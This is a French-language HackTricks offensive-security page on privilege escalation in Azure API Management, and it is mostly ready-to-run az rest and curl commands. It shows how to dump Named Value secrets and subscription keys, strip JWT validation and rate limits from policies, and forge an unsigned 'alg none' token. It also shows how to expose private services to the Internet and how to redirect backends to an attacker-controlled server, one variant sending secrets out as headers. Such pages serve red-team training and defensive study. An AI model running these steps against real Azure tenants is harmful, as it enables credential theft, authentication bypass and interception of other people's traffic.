Az - API Management Privesc

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Microsoft.ApiManagement/service/namedValues/read & Microsoft.ApiManagement/service/namedValues/listValue/action

L’attaque consiste à accéder à des secrets sensibles stockés dans Azure API Management Named Values, soit en récupérant directement les valeurs secrètes, soit en abusant des permissions pour obtenir des secrets pris en charge par Key Vault via managed identities.

az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>

Microsoft.ApiManagement/service/subscriptions/read & Microsoft.ApiManagement/service/subscriptions/listSecrets/action

Pour chaque abonnement, l’attaquant peut obtenir les clés d’abonnement en appelant l’endpoint listSecrets avec la méthode POST :

az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"

La réponse inclut la clé primaire d’abonnement (primaryKey) et la clé secondaire (secondaryKey). Avec ces clés, l’attaquant peut s’authentifier et accéder aux APIs publiées via l’API Management Gateway :

curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>

L’attaquant peut accéder à toutes les APIs et produits associés à l’abonnement. Si l’abonnement a accès à des produits ou APIs sensibles, l’attaquant peut obtenir des informations confidentielles ou effectuer des opérations non autorisées.

Microsoft.ApiManagement/service/policies/write or Microsoft.ApiManagement/service/apis/policies/write

L’attaquant récupère d’abord la policy API actuelle :

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"

L’attaquant peut modifier la politique de plusieurs façons selon ses objectifs. Par exemple, pour désactiver l’authentification, si la politique inclut JWT token validation, l’attaquant peut supprimer ou commenter cette section:

<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>

Pour supprimer les contrôles de rate limiting et permettre des attaques de denial-of-service, l’attaquant peut supprimer ou commenter les politiques de quota et de rate-limit :

<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>

Pour modifier la route backend et rediriger le trafic vers un serveur contrôlé par l’attaquant :

<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>

L’attaquant applique ensuite la politique modifiée. Le corps de la requête doit être un objet JSON contenant la politique au format XML :

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'

Mauvaise configuration de la validation JWT

L’attaquant doit savoir qu’une API utilise la validation de tokens JWT et que la politique est mal configurée. Des politiques de validation JWT mal configurées peuvent avoir require-signed-tokens="false" ou require-expiration-time="false", ce qui permet au service d’accepter des tokens non signés ou des tokens qui n’expirent jamais.

L’attaquant crée un token JWT malveillant en utilisant l’algorithme none (unsigned) :

# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.

L’attaquant envoie une requête à l’API en utilisant le jeton malveillant :

curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path

Si la policy est mal configurée avec require-signed-tokens="false", le service acceptera le token non signé. L’attaquant peut aussi créer un token sans claim d’expiration si require-expiration-time="false".

Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action

L’attaquant vérifie d’abord la configuration réseau actuelle du service:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"

L’attaquant examine la réponse JSON pour vérifier les valeurs de publicNetworkAccess et virtualNetworkType. Si publicNetworkAccess est défini sur false ou si virtualNetworkType est défini sur Internal, le service est configuré pour un accès privé.

Pour exposer le service sur Internet, l’attaquant doit modifier les deux paramètres. Si le service fonctionne en mode interne (virtualNetworkType: "Internal"), l’attaquant le change en None ou External et active l’accès réseau public. Cela peut être fait en utilisant l’Azure Management API:

az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'

Une fois que virtualNetworkType est défini sur None ou External et que publicNetworkAccess est activé, le service et toutes ses APIs deviennent accessibles depuis Internet, même s’ils étaient auparavant protégés derrière un réseau privé ou des points de terminaison privés.

Microsoft.ApiManagement/service/backends/write

L’attaquant commence par énumérer les backends existants pour identifier celui à modifier :

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"

L’attaquant récupère la configuration actuelle du backend qu’il souhaite modifier :

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"

L’attaquant modifie l’URL du backend pour la faire pointer vers un serveur sous son contrôle. D’abord, il obtient l’ETag de la réponse précédente, puis met à jour le backend :

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'

Alternativement, l’attaquant peut configurer des en-têtes backend pour exfiltrer des Named Values contenant des secrets. Ceci se fait via la configuration des identifiants du backend :

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'

Avec cette configuration, les Named Values sont envoyés en tant qu’en-têtes dans toutes les requêtes vers le backend contrôlé par l’attaquant, permettant l’exfiltration de secrets sensibles.

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks